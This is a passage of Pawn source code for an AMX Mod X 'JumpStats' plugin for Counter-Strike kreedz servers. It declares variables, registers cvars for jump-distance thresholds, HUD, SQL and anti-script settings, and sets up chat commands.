new schetchik[33],Float:changetime[33],bool:edgeshow[33],bool:slide[33],pre_type[33][33];

new bool:ingame_strafe[33],bool:ljpre[33],Float:distance[33],detecthj[33],bool:doubleduck[33];
new Float:doubletime[33],bool:multibhoppre[33],kz_uq_fps,bool:duckbhop[33],MAX_DISTANCE,Float:upbhop_koeff[33];
new Float:rDistance[3],Float:frame2time,bool:touch_ent[33],bool:ddbeforwj[33],bool:gHasColorChat[33],Float:old_angle1[33];
new bool:g_lj_stats[33],strafe_num[33],bool:g_Jumped[33],bool:g_reset[33],ljsDir[64],ljsDir_weapon[8][64],ljsDir_block[64],Float:gBeam_points[33][100][3],gBeam_duck[33][100],gBeam_count[33];

new gBeam,waits[33],waits1[33],Float:slideland[33],bool:backwards[33],bool:hookcheck[33],Float:timeonground[33];
new map_dist[NTOP+1],map_syncc[NTOP+1],map_maxsped[NTOP+1], map_prestr[NTOP+1],map_names[NTOP+1][33],map_ip[NTOP+1][33],map_streif[NTOP+1],map_type[NTOP+1][33];
new kz_uq_lj,kz_uq_cj,kz_uq_dcj,kz_uq_mcj ,kz_uq_ladder,kz_uq_ldbj,kz_uq_bj,kz_uq_sbj,kz_uq_drbj,kz_uq_drsbj,kz_uq_drcj,kz_uq_wj;	

new oldpre[33],oldljpre[33],oldfail[33],Float:starthj[33][3],Float:stophj[33][3], Float:endhj[33][3];
new bool:landslide[33],strafecounter_oldbuttons[33],Float:Fulltime,Float:needslide[33],Float:groundslide[33];
new jj,sync_[33],goodSyncTemp,badSyncTemp,strafe_lost_frame[33][NSTRAFES],Float:time_,Float:strafe_stat_time[33][NSTRAFES],Float:strafe_stat_speed[33][NSTRAFES][2];
new strafe_stat_sync[33][NSTRAFES][2],strLen,strMess[40*NSTRAFES],strMessBuf[40*NSTRAFES],team[33];

new bool:g_pBot[33],strL,strM[40*NSTRAFES],strMBuf[40*NSTRAFES],Float:firstvel[33],Float:secvel[33],Float:firstorig[33][3],Float:secorig[33][3];
new Float:speed[33], Float:TempSpeed[33],Float:statsduckspeed[33][500]; 
new bool:slidim[33],Float:slidedist[33],edgefriction,mp_footsteps,sv_cheats,sv_airaccelerate,sv_maxspeed,sv_stepsize,sv_maxvelocity,sv_gravity;

new kz_min_dcj,kz_stats_x,kz_stats_y,Float:stats_x,Float:stats_y,taskslide[33],taskslide1[33],bool:failslide[33];
new Float:failslidez[33],kz_strafe_x,kz_strafe_y,Float:strafe_x,Float:strafe_y,Float:laddist[33],kz_duck_x;
new kz_duck_y,Float:duck_x,Float:duck_y,bool:bhopaem[33],bool:nextbhop[33],kz_stats_red,kz_stats_green, kz_stats_blue, kz_failstats_red,kz_failstats_green;
new kz_failstats_blue, kz_sounds, kz_airaccelerate,kz_uq_url,kz_prefix,kz_legal_settings;

new kz_good_lj,kz_pro_lj,kz_holy_lj,kz_leet_lj,kz_god_lj,kz_good_bj,kz_pro_bj,kz_holy_bj,kz_leet_bj,kz_god_bj;
new kz_good_cj,kz_pro_cj,kz_holy_cj,kz_leet_cj,kz_god_cj,kz_good_wj,kz_pro_wj,kz_holy_wj,kz_leet_wj,kz_god_wj;
new kz_good_dbj,kz_pro_dbj, kz_holy_dbj,kz_leet_dbj, kz_god_dbj,kz_good_scj,kz_pro_scj, kz_holy_scj,kz_leet_scj, kz_god_scj;
new kz_good_ladder,kz_pro_ladder,kz_holy_ladder, kz_leet_ladder,kz_god_ladder,kz_good_dcj,kz_pro_dcj,kz_holy_dcj,kz_leet_dcj,kz_god_dcj;

new kz_god_duckbhop,kz_holy_duckbhop,kz_pro_duckbhop,kz_good_duckbhop,kz_good_dropscj,kz_pro_dropscj,kz_holy_dropscj,kz_leet_dropscj,kz_god_dropscj;
new kz_good_real,kz_pro_real,kz_holy_real,kz_leet_real,kz_god_real,kz_good_bhopinduck,kz_pro_bhopinduck,kz_holy_bhopinduck,kz_leet_bhopinduck,kz_god_bhopinduck;
new kz_god_upbj,kz_leet_upbj,kz_good_upbj, kz_pro_upbj,kz_holy_upbj,kz_god_upsbj,kz_leet_upsbj,kz_good_upsbj, kz_pro_upsbj,kz_holy_upsbj;
new kz_uq_dscj,kz_uq_mscj,kz_leet_duckbhop,kz_uq_dropscj,kz_uq_dropdscj,kz_uq_dropmscj,kz_uq_duckbhop,kz_uq_bhopinduck,kz_uq_realldbhop,kz_uq_multibhop,kz_uq_upbj,kz_uq_upbhopinduck,kz_uq_upsbj,kz_uq_dropdcj,kz_uq_dropmcj;

new user_block[33][2],Float:slidez[33][4][3],prefix[64];

new CjafterJump[33],bool:ddafterJump[33],bool:cjjump[33],bool:serf_reset[33],entlist[256],ent,nLadder,Float:ladderxyz[256][3],Float:ladderminxyz[256][3], Float:laddersize[256][3], nashladder,bool:ladderjump[33];
new bool:kz_stats_pre[33], bool:kz_beam[33],bool:showpre[33],bool:showjofon[33],bool:speedon[33],bool:jofon[33];

new Float:dropbjorigin[33][3], Float:falloriginz[33],Float:origin[3],ducks[33], movetype[33];
static Float:maxspeed[33], Float:prestrafe[33],JumpType:jump_type[33],JumpType:old_type_dropbj[33], frames[33], frames_gained_speed[33], bool:turning_left[33];
static bool:turning_right[33],bool:started_cj_pre[33],bool:in_duck[33], bool:in_bhop[33],bool:in_air[33],bool:in_ladder[33];
new bool:player_admin[33],bool:failearly[33],bool:firstshow[33],bool:first_onground[33],bool:notjump[33],bool:OnGround[33],bool:donehook[33];

new bool:streifstat[33],Jtype[33][33],Jtype1[33][33],Jtype_old_dropbj[33][33],Jtype_old_dropbj1[33][33],Float:weapSpeed[33],Float:weapSpeedOld[33];
new airacel[33][33],bool:firstfr[33],kz_speed_x,kz_speed_y,hud_stats,hud_streif,hud_pre,hud_duck,hud_speed; 
new kz_uq_connect,kz_uq_light,bool:duckstring[33],kz_uq_top,kz_uq_maptop,bool:showduck[33],Float:surf[33];
new bool:first_surf[33],oldjump_type[33],oldjump_typ1[33],jump_typeOld[33],mapname[33],Float:duckstartz[33],direct_for_strafe[33];
new Float:height_difference[33],kz_uq_team,bool:jumpoffirst[33],bool:posibleScj[33];
new kz_uq_noslow,kz_prest_x,kz_prest_y,kz_speed_r,kz_speed_g,kz_speed_b,kz_prest_r,kz_prest_g,kz_prest_b;

new weapon_top,bool:touch_somthing[33],record_start[33],allow_info;
new showtime_st_stats[33];

new Float:jof[33],weapon_block_top;

new g_playername[33][64], g_playersteam[33][35], g_playerip[33][16], rankby,plugin_ver[33];

new ljsDir_block_weapon[8][64],uq_host,uq_user,uq_pass,uq_db,Handle:DB_TUPLE,Handle:SqlConnection,g_error[512],sql_Cvars_num[SQLCVARSNUM];
new sql_JumpType[33];
new Trie:JData,Trie:JData_Block,Float:oldjump_height[33],Float:jheight[33],bool:jheight_show[33];

new uq_lj,uq_cj,uq_dcj,uq_mcj,uq_ladder,uq_ldbj,uq_bj,uq_sbj,uq_drbj,uq_drsbj,uq_drcj;	
new uq_wj,uq_dscj,uq_mscj,uq_dropscj,uq_dropdscj,uq_dropmscj,uq_duckbhop,uq_bhopinduck;
new uq_realldbhop,uq_upbj,uq_upbhopinduck,uq_upsbj,uq_multibhop,uq_dropdcj,uq_dropmcj;
new dcj_god_dist,dcj_leet_dist,dcj_holy_dist,dcj_pro_dist,dcj_good_dist;
new lj_god_dist,lj_leet_dist,lj_holy_dist,lj_pro_dist,lj_good_dist;
new ladder_god_dist,ladder_leet_dist,ladder_holy_dist,ladder_pro_dist,ladder_good_dist;
new wj_god_dist,wj_leet_dist,wj_holy_dist,wj_pro_dist,wj_good_dist;
new bj_god_dist,bj_leet_dist,bj_holy_dist,bj_pro_dist,bj_good_dist;
new cj_god_dist,cj_leet_dist,cj_holy_dist,cj_pro_dist,cj_good_dist;
new dbj_god_dist,dbj_leet_dist,dbj_holy_dist,dbj_pro_dist,dbj_good_dist;
new scj_god_dist,scj_leet_dist,scj_holy_dist,scj_pro_dist,scj_good_dist;
new dropscj_god_dist,dropscj_leet_dist,dropscj_holy_dist,dropscj_pro_dist,dropscj_good_dist;
new bhopinduck_god_dist,bhopinduck_leet_dist,bhopinduck_holy_dist,bhopinduck_pro_dist,bhopinduck_good_dist;
new upbj_god_dist,upbj_leet_dist,upbj_holy_dist,upbj_pro_dist,upbj_good_dist;
new upsbj_god_dist,upsbj_leet_dist,upsbj_holy_dist,upsbj_pro_dist,upsbj_good_dist;
new real_god_dist,real_leet_dist,real_holy_dist,real_pro_dist,real_good_dist;
new duckbhop_god_dist,duckbhop_leet_dist,duckbhop_holy_dist,duckbhop_pro_dist,duckbhop_good_dist;
new web_sql,max_distance,min_distance_other,min_distance,uq_airaccel,leg_settings,uq_sounds;
new uq_maxedge,uq_minedge,uq_min_pre,speed_r,speed_g,speed_b,Float:speed_x,Float:speed_y,h_speed,kz_top,kz_extras,kz_weapon,kz_block_top;
new uq_team,prest_r,prest_g,prest_b,Float:prest_x,Float:prest_y,h_prest,h_stats,h_duck,h_streif;				
new uq_noslow,uq_light,uq_screen,uq_info,uq_fps,kz_map_top,kz_wpn_block_top,stats_r,stats_b,stats_g,f_stats_r,f_stats_b,f_stats_g;
//new uq_sv_maxvelocity,uq_sv_stepsize,uq_sv_maxspeed,uq_edgefriction,uq_mp_footsteps,uq_sv_cheats,uq_sv_gravity,uq_sv_airaccelerate;
new kz_uq_script_work,uq_script_work,uq_ban_minutes,kz_uq_ban_minutes,uq_bug,kz_uq_bug,uq_script_notify,kz_uq_script_notify,uq_admins,kz_uq_admins,kz_uq_script_detection,uq_script_detection,kz_uq_update_auth,uq_update_auth;
new doubleduck_stat_sync[33][2],logs_path[128],uq_script_punishment,kz_uq_script_punishment,uq_ban_authid,uq_ban_type,kz_uq_ban_authid,kz_uq_ban_type;
new kz_uq_block_chat_show,kz_uq_block_chat_min,uq_block_chat_show,uq_block_chat_min;


new bool:speedtype[33],ddforcjafterbhop[33],ddforcjafterladder[33],ddstandcj[33];
new bool:trigger_protection[33],kz_uq_speed_allteam,uq_speed_allteam;

new sql_Cvars[SQLCVARSNUM][] = { //cvars for db
	"kz_uq_save_extras_top",
	"kz_uq_top_by",
	"kz_uq_sql",
	"kz_uq_block_top"
};

new Trie:JumpPlayers;

new const KZ_CVARSDIR[] = "config.cfg";

public plugin_init()
{
	register_plugin( "JumpStats", VERSION, "BorJomi" );
	
	register_dictionary("uq_jumpstats.txt");
	
	kz_good_lj            = register_cvar("kz_uq_good_lj",            "240");	// lj hj
	kz_pro_lj            = register_cvar("kz_uq_pro_lj",             "245");
	kz_holy_lj            = register_cvar("kz_uq_holy_lj",            "250");
	kz_leet_lj           = register_cvar("kz_uq_leet_lj",            "253");
	kz_god_lj           = register_cvar("kz_uq_god_lj",            "255");
	
	kz_good_cj            = register_cvar("kz_uq_good_cj",            "250");	// cj
	kz_pro_cj            = register_cvar("kz_uq_pro_cj",             "255");
	kz_holy_cj            = register_cvar("kz_uq_holy_cj",            "260");
	kz_leet_cj           = register_cvar("kz_uq_leet_cj",            "265");
	kz_god_cj           = register_cvar("kz_uq_god_cj",            "267");
	
	kz_good_dcj            = register_cvar("kz_uq_good_dcj",            "250");	// dcj mcj
	kz_pro_dcj            = register_cvar("kz_uq_pro_dcj",             "255");
	kz_holy_dcj            = register_cvar("kz_uq_holy_dcj",            "260");
	kz_leet_dcj           = register_cvar("kz_uq_leet_dcj",            "265");
	kz_god_dcj           = register_cvar("kz_uq_god_dcj",            "270");
	
	kz_good_ladder           = register_cvar("kz_uq_good_ladder",            "150");	// ladder
	kz_pro_ladder           = register_cvar("kz_uq_pro_ladder",             "160");
	kz_holy_ladder           = register_cvar("kz_uq_holy_ladder",            "170");
	kz_leet_ladder           = register_cvar("kz_uq_leet_ladder",            "180");
	kz_god_ladder          = register_cvar("kz_uq_god_ladder",            "190");
	
	kz_good_bj           = register_cvar("kz_uq_good_bj",            "230");	// bj sbj
	kz_pro_bj           = register_cvar("kz_uq_pro_bj",             "235");
	kz_holy_bj           = register_cvar("kz_uq_holy_bj",            "240");
	kz_leet_bj           = register_cvar("kz_uq_leet_bj",            "245");
	kz_god_bj          = register_cvar("kz_uq_god_bj",            "247");
	
	kz_good_wj          = register_cvar("kz_uq_good_wj",            "255");	// wj dropcj ladderbhop
	kz_pro_wj           = register_cvar("kz_uq_pro_wj",             "260");
	kz_holy_wj           = register_cvar("kz_uq_holy_wj",            "265");
	kz_leet_wj           = register_cvar("kz_uq_leet_wj",            "270");
	kz_god_wj          = register_cvar("kz_uq_god_wj",            "272");
	
	kz_good_dbj          = register_cvar("kz_uq_good_dbj",            "240");	// 
	kz_pro_dbj          = register_cvar("kz_uq_pro_dbj",             "250");
	kz_holy_dbj          = register_cvar("kz_uq_holy_dbj",            "265");
	kz_leet_dbj           = register_cvar("kz_uq_leet_dbj",            "270");
	kz_god_dbj          = register_cvar("kz_uq_god_dbj",            "272");
	
	kz_good_scj          = register_cvar("kz_uq_good_scj",            "245");	// 
	kz_pro_scj          = register_cvar("kz_uq_pro_scj",             "250");
	kz_holy_scj          = register_cvar("kz_uq_holy_scj",            "255");
	kz_leet_scj           = register_cvar("kz_uq_leet_scj",            "260");
	kz_god_scj          = register_cvar("kz_uq_god_scj",            "262");
	
	kz_good_dropscj          = register_cvar("kz_uq_good_dropscj",            "255");	// 
	kz_pro_dropscj          = register_cvar("kz_uq_pro_dropscj",             "260");
	kz_holy_dropscj          = register_cvar("kz_uq_holy_dropscj",            "265");
	kz_leet_dropscj           = register_cvar("kz_uq_leet_dropscj",            "270");
	kz_god_dropscj          = register_cvar("kz_uq_god_dropscj",            "272");
	
	kz_good_duckbhop          = register_cvar("kz_uq_good_duckbhop",            "120");	// 
	kz_pro_duckbhop          = register_cvar("kz_uq_pro_duckbhop",             "130");
	kz_holy_duckbhop          = register_cvar("kz_uq_holy_duckbhop",            "140");
	kz_leet_duckbhop         = register_cvar("kz_uq_leet_duckbhop",            "150");
	kz_god_duckbhop         = register_cvar("kz_uq_god_duckbhop",            "160");
	
	kz_good_bhopinduck         = register_cvar("kz_uq_good_bhopinduck",            "205");	// 
	kz_pro_bhopinduck          = register_cvar("kz_uq_pro_bhopinduck",             "210");
	kz_holy_bhopinduck          = register_cvar("kz_uq_holy_bhopinduck",            "215");
	kz_leet_bhopinduck          = register_cvar("kz_uq_leet_bhopinduck",            "218");
	kz_god_bhopinduck         = register_cvar("kz_uq_god_bhopinduck",            "220");
	
	kz_good_real         = register_cvar("kz_uq_good_realldbhop",            "240");	// 
	kz_pro_real          = register_cvar("kz_uq_pro_realldbhop",             "250");
	kz_holy_real         = register_cvar("kz_uq_holy_realldbhop",            "265");
	kz_leet_real         = register_cvar("kz_uq_leet_realldbhop",            "270");
	kz_god_real         = register_cvar("kz_uq_god_realldbhop",            "272");
	
	kz_good_upbj         = register_cvar("kz_uq_good_upbj",            "225");	// 
	kz_pro_upbj          = register_cvar("kz_uq_pro_upbj",             "230");
	kz_holy_upbj          = register_cvar("kz_uq_holy_upbj",            "235");
	kz_leet_upbj          = register_cvar("kz_uq_leet_upbj",            "240");
	kz_god_upbj         = register_cvar("kz_uq_god_upbj",            "245");
	
	kz_good_upsbj         = register_cvar("kz_uq_good_upbj",            "230");	// 
	kz_pro_upsbj          = register_cvar("kz_uq_pro_upbj",             "235");
	kz_holy_upsbj          = register_cvar("kz_uq_holy_upbj",            "240");
	kz_leet_upsbj          = register_cvar("kz_uq_leet_upbj",            "244");
	kz_god_upsbj         = register_cvar("kz_uq_god_upbj",            "246");
	
	kz_min_dcj          = register_cvar("kz_uq_min_dist",            "215");
	MAX_DISTANCE         = register_cvar("kz_uq_max_dist",            "290");
	
	kz_stats_red        = register_cvar("kz_uq_stats_red",        "0");		
	kz_stats_green      = register_cvar("kz_uq_stats_green",      "255");
	kz_stats_blue       = register_cvar("kz_uq_stats_blue",       "159");
	kz_failstats_red        = register_cvar("kz_uq_failstats_red",        "255");		
	kz_failstats_green      = register_cvar("kz_uq_failstats_green",      "0");
	kz_failstats_blue       = register_cvar("kz_uq_failstats_blue",       "109");
	
	kz_sounds 	     = register_cvar("kz_uq_sounds",           "1");
	kz_top_rank_by        = register_cvar("kz_uq_top_by",        "1");		// How ranking will work? 0=name, 1=ip 2=steam
	kz_legal_settings     = register_cvar("kz_uq_legal_settings",     "1");
	kz_prefix 	       = register_cvar("kz_uq_prefix",       "unique-kz");
	kz_airaccelerate     = register_cvar("kz_uq_airaccelerate",     "10");
	
	kz_stats_x        = register_cvar("kz_uq_stats_x",        "-1.0");		
	kz_stats_y      = register_cvar("kz_uq_stats_y",      "0.70");
	kz_strafe_x        = register_cvar("kz_uq_strafe_x",        "0.70");		
	kz_strafe_y      = register_cvar("kz_uq_strafe_y",      "0.35");
	kz_duck_x        = register_cvar("kz_uq_duck_x",        "0.6");		
	kz_duck_y      = register_cvar("kz_uq_duck_y",      "0.78");
	kz_speed_x        = register_cvar("kz_uq_speed_x",        "-1.0");		
	kz_speed_y      = register_cvar("kz_uq_speed_y",      "0.83");
	kz_prest_x        = register_cvar("kz_uq_prestrafe_x",        "-1.0");		
	kz_prest_y      = register_cvar("kz_uq_prestrafe_y",      "0.65");
	
	kz_speed_r        = register_cvar("kz_uq_speed_red",        "255");		
	kz_speed_g        = register_cvar("kz_uq_speed_green",      "255");
	kz_speed_b          = register_cvar("kz_uq_speed_blue",        "255");		
	kz_prest_r        = register_cvar("kz_uq_prestrafe_red",        "255");		
	kz_prest_g      = register_cvar("kz_uq_prestrafe_green",      "255");
	kz_prest_b        = register_cvar("kz_uq_prestrafe_blue",        "255");
	
	hud_stats       = register_cvar("kz_uq_hud_stats",        "3");		
	hud_streif    = register_cvar("kz_uq_hud_strafe",      "4");
	hud_pre      = register_cvar("kz_uq_hud_pre",        "1");		
	hud_duck     = register_cvar("kz_uq_hud_duck",      "1");
	hud_speed     = register_cvar("kz_uq_hud_speed",      "2");
	
	kz_uq_lj       = register_cvar("kz_uq_lj",        "1");	
	kz_uq_cj       = register_cvar("kz_uq_cj",        "1");	
	kz_uq_dcj       = register_cvar("kz_uq_dcj",        "1");	
	kz_uq_mcj       = register_cvar("kz_uq_mcj",        "1");	
	kz_uq_ladder       = register_cvar("kz_uq_ladder",        "1");	
	kz_uq_ldbj       = register_cvar("kz_uq_ldbj",        "1");	
	kz_uq_bj       = register_cvar("kz_uq_bj",        "1");	
	kz_uq_sbj       = register_cvar("kz_uq_sbj",        "1");	
	kz_uq_drbj       = register_cvar("kz_uq_drbj",        "1");	
	kz_uq_drsbj       = register_cvar("kz_uq_scj",        "1");	
	kz_uq_drcj       = register_cvar("kz_uq_drcj",        "1");	
	kz_uq_wj       = register_cvar("kz_uq_wj",        "1");	
	
	kz_uq_dscj       = register_cvar("kz_uq_dscj",        "1");	
	kz_uq_mscj       = register_cvar("kz_uq_mscj",        "1");
	kz_uq_dropscj       = register_cvar("kz_uq_dropscj",        "1");
	kz_uq_dropdscj       = register_cvar("kz_uq_dropdscj",        "1");
	kz_uq_dropmscj       = register_cvar("kz_uq_dropmscj",        "1");
	kz_uq_duckbhop       = register_cvar("kz_uq_duckbhop",        "1");
	kz_uq_bhopinduck      = register_cvar("kz_uq_bhopinduck",        "1");
	kz_uq_realldbhop       = register_cvar("kz_uq_realldbhop",        "1");
	kz_uq_upbj      = register_cvar("kz_uq_upbj",        "1");
	kz_uq_upbhopinduck      = register_cvar("kz_uq_upbhopinduck",        "1");
	kz_uq_upsbj       = register_cvar("kz_uq_upsbj",        "1");
	kz_uq_multibhop      = register_cvar("kz_uq_multibhop",        "1");
	kz_uq_dropdcj      = register_cvar("kz_uq_dropdcj",        "1");
	kz_uq_dropmcj     = register_cvar("kz_uq_dropmcj",        "1");
	
	kz_uq_light    = register_cvar("kz_uq_light",      "0");
	kz_uq_connect = register_cvar("kz_uq_connect", "abdehklmn");
	kz_uq_fps = register_cvar("kz_uq_fps", "1");	
	kz_uq_top = register_cvar("kz_uq_save_top", "1");
	kz_uq_maptop = register_cvar("kz_uq_maptop", "1");
	kz_uq_team = register_cvar("kz_uq_team", "0");
	kz_uq_istrafe = register_cvar("kz_uq_istrafes", "0");
	
	max_edge = register_cvar("kz_uq_max_block", "290");
	min_edge = register_cvar("kz_uq_min_block", "100");
	min_pre = register_cvar("kz_uq_min_pre", "60");
	kz_uq_min_other = register_cvar("kz_uq_min_dist_other",            "120");
	kz_uq_extras = register_cvar("kz_uq_save_extras_top", "1");
	max_strafes = register_cvar("kz_uq_max_strafes", "14");
	screenshoot = register_cvar("kz_uq_screenshoot", "0");
	
	sql_stats = register_cvar("kz_uq_sql", "0");
	web_stats = register_cvar("kz_uq_web", "0");
	
	uq_host = register_cvar("kz_uq_host", "127.0.0.1");
	uq_user = register_cvar("kz_uq_user", "root");
	uq_pass = register_cvar("kz_uq_pass", "");
	uq_db = register_cvar("kz_uq_db", "uq_jumpstats");
		
	allow_info = register_cvar("kz_uq_demo_info", "1");
	weapon_top = register_cvar("kz_uq_weapons_top", "1");
	weapon_block_top = register_cvar("kz_uq_block_weapons", "1");
	kz_uq_url = register_cvar("kz_uq_url","http://localhost/uq_jumpstats/index.php?type=lj&from_game=true");
	kz_uq_block_top = register_cvar("kz_uq_block_top", "1");
	
	kz_uq_bug=register_cvar("kz_uq_bug_check", "1");
	kz_uq_noslow=register_cvar("kz_uq_noslowdown", "0");
	
	kz_uq_admins = register_cvar("kz_uq_only_admins", "0");
	kz_uq_script_detection = register_cvar("kz_uq_script_detection", "1");
	kz_uq_update_auth = register_cvar("kz_uq_update_auth", "1");
	kz_uq_script_notify = register_cvar("kz_uq_script_notify", "1");
	kz_uq_script_punishment = register_cvar("kz_uq_script_punishment", "0");
	kz_uq_script_work = register_cvar("kz_uq_script_work", "2");
	
	kz_uq_ban_type = register_cvar("kz_uq_ban_type", "0");
	kz_uq_ban_authid = register_cvar("kz_uq_ban_authid", "0");
	kz_uq_ban_minutes = register_cvar("kz_uq_ban_minutes", "45");
	
	kz_uq_block_chat_show = register_cvar("kz_uq_block_chat_show", "1");
	kz_uq_block_chat_min = register_cvar("kz_uq_block_chat_min", "1");
	
	kz_uq_speed_allteam = register_cvar("kz_uq_speed_allteam", "1");
	
	register_cvar( "uq_jumpstats", VERSION, FCVAR_SERVER|FCVAR_SPONLY);
	
	register_concmd("amx_reset_uqtops","reset_tops",ADMIN_CVAR ,"reset all tops");
	
	register_clcmd( "say /strafe",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafes",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafestat",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafestats",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /showpre",	"show_pre" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /duck",	"pre_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /ducks",	"pre_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /uqstats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /ljstats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /stats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /heigh",		"heightshow",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /fall",		"heightshow",         ADMIN_ALL, "- enabled/disables" );
	
	register_clcmd( "say /uqversion",	"cmdVersion",         ADMIN_ALL);
	register_clcmd( "say uqversion",	"cmdVersion",         ADMIN_ALL);
	register_clcmd("say /uqbeam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /beam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /ljbeam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /speed",     "show_speed",         ADMIN_ALL);
	register_clcmd("say speed",     "show_speed",         ADMIN_ALL);
	register_clcmd("say /colorchat",     "cmdColorChat",         ADMIN_ALL);
	register_clcmd("say colorchat",     "cmdColorChat",         ADMIN_ALL);
	register_clcmd("say /bhopwarn",     "show_early",         ADMIN_ALL);
	register_clcmd("say /multibhop",     "multi_bhop",         ADMIN_ALL);
	register_clcmd("say /duckspre",     "duck_show",         ADMIN_ALL);
	register_clcmd("say /duckpre",     "duck_show",         ADMIN_ALL);
	register_clcmd("say /ljpre",     "lj_show",         ADMIN_ALL);
	register_clcmd("say /prelj",     "lj_show",         ADMIN_ALL);
	register_clcmd("say /uqsound",     "enable_sounds",         ADMIN_ALL);
	register_clcmd("say /uqsounds",     "enable_sounds",         ADMIN_ALL);
	
	register_clcmd("say /failedge",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /failedg",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edgefail",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edgfail",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edge",     "Showedge",         ADMIN_ALL);
	register_clcmd("say /edg",     "Showedge",         ADMIN_ALL);
	
	register_clcmd("say /joftrainer",     "trainer_jof",         ADMIN_ALL);
	register_clcmd("say joftrainer",     "trainer_jof",         ADMIN_ALL);
	register_clcmd("say /joftr",     "trainer_jof",         ADMIN_ALL);
	register_clcmd("say joftr",     "trainer_jof",         ADMIN_ALL);
	
	register_clcmd("say /speedt",     "speed_type",         ADMIN_ALL);
	register_clcmd("say speedt",     "speed_type",         ADMIN_ALL);
	
	register_clcmd("say /jof",     "show_jof",         ADMIN_ALL);
	register_clcmd("say jof",     "show_jof",         ADMIN_ALL);
	
	register_clcmd("say /jheigh",     "show_jheight",         ADMIN_ALL);
	register_clcmd("say jheigh",     "show_jheight",         ADMIN_ALL);
	
	register_clcmd("say /istrafe",     "ingame_st_stats",         ADMIN_ALL);
	register_clcmd("say istrafe",     "ingame_st_stats",         ADMIN_ALL);
	
	register_clcmd("say /options",     "Option",         ADMIN_ALL);
	register_clcmd("say /ljsmenu",     "Option",         ADMIN_ALL);
	register_clcmd("say /ljsmenu2",     "Option2",         ADMIN_ALL);
	register_clcmd("say /uqmenu",     "Option",         ADMIN_ALL);
	register_clcmd("say /option",     "Option",         ADMIN_ALL);

	register_menucmd(register_menuid("StatsOptionMenu1"),          1023, "OptionMenu1");
	register_menucmd(register_menuid("StatsOptionMenu2"),          1023, "OptionMenu2");
	register_menucmd(register_menuid("StatsOptionMenu3"),          1023, "OptionMenu3");
	
	edgefriction          = get_cvar_pointer("edgefriction");
	mp_footsteps          = get_cvar_pointer("mp_footsteps");
	sv_cheats             = get_cvar_pointer("sv_cheats");
	sv_gravity            = get_cvar_pointer("sv_gravity");
	sv_airaccelerate      = get_cvar_pointer("sv_airaccelerate");
	sv_maxspeed           = get_cvar_pointer("sv_maxspeed");
	sv_stepsize           = get_cvar_pointer("sv_stepsize");
	sv_maxvelocity        = get_cvar_pointer("sv_maxvelocity");
	
	
	register_forward(FM_Touch,           "fwdTouch",           1);
	register_forward( FM_PlayerPreThink,	"fwdPreThink",	0 );
	register_forward( FM_PlayerPostThink,	"fwdPostThink",	0 );
	
	RegisterHam(Ham_Spawn, "player", "FwdPlayerSpawn", 1);
	RegisterHam(Ham_Killed, "player", "FwdPlayerDeath", 1);
	RegisterHam(Ham_Touch, "player",	"HamTouch");
	
	register_event("ResetHUD","ResetHUD","b");
	
	
	
	max_players=get_maxplayers()+1;
	
	ent=find_ent_by_class(-1,"func_ladder");
	while( ent > 0 )
	{
		entity_get_vector ( ent, EV_VEC_maxs, ladderxyz[nLadder] );
		entity_get_vector ( ent, EV_VEC_mins, ladderminxyz[nLadder] );
		entity_get_vector ( ent, EV_VEC_size, laddersize[nLadder] );
		entlist[nLadder]=ent;
		
		ent = find_ent_by_class(ent,"func_ladder");
		nLadder++;
	}
	
	get_mapname(mapname, 32);
	
	// Logs
	new logs[64];
	get_localinfo("amxx_logs", logs, 63);
	formatex(logs_path, 127, "%s\uq_jumpstats.txt", logs);
	
	
}

public plugin_natives()
{
	register_native("kz_get_configsdir", "native_kz_get_configsdir", 1);
	
}
public plugin_cfg()
{
	new cvarfiles[100], uqpath[64];
	kz_get_configsdir(uqpath, 63);
	formatex(cvarfiles, 99, "%s/%s", uqpath, KZ_CVARSDIR);
	
	if( file_exists(cvarfiles) )
	{
		server_cmd("exec %s", cvarfiles);
		server_exec();
	}
	
	uq_min_pre=get_pcvar_num(min_pre);
	uq_maxedge=get_pcvar_num(max_edge);
	uq_minedge=get_pcvar_num(min_edge);
	kz_sql=get_pcvar_num(sql_stats);
	web_sql=get_pcvar_num(web_stats);
	rankby = get_pcvar_num(kz_top_rank_by);
	uq_team=get_pcvar_num(kz_uq_team);
	uq_istrafe=get_pcvar_num(kz_uq_istrafe);
	NSTRAFES1=get_pcvar_num(max_strafes);
	stats_x=get_pcvar_float(kz_stats_x);
	stats_y=get_pcvar_float(kz_stats_y);
	strafe_x=get_pcvar_float(kz_strafe_x);
	strafe_y=get_pcvar_float(kz_strafe_y);
	duck_x=get_pcvar_float(kz_duck_x);
	duck_y=get_pcvar_float(kz_duck_y);
	prest_r=get_pcvar_num(kz_prest_r);
	prest_g=get_pcvar_num(kz_prest_g);
	prest_b=get_pcvar_num(kz_prest_b);
	prest_x=get_pcvar_float(kz_prest_x);
	prest_y=get_pcvar_float(kz_prest_y);
	h_prest=get_pcvar_num(hud_pre);
	h_stats=get_pcvar_num(hud_stats);
	h_duck=get_pcvar_num(hud_duck);
	h_streif=get_pcvar_num(hud_streif);
	stats_r=get_pcvar_num(kz_stats_red);
	stats_b=get_pcvar_num(kz_stats_blue);
	stats_g=get_pcvar_num(kz_stats_green);
	f_stats_r=get_pcvar_num(kz_failstats_red);
	f_stats_b=get_pcvar_num(kz_failstats_blue);
	f_stats_g=get_pcvar_num(kz_failstats_green);
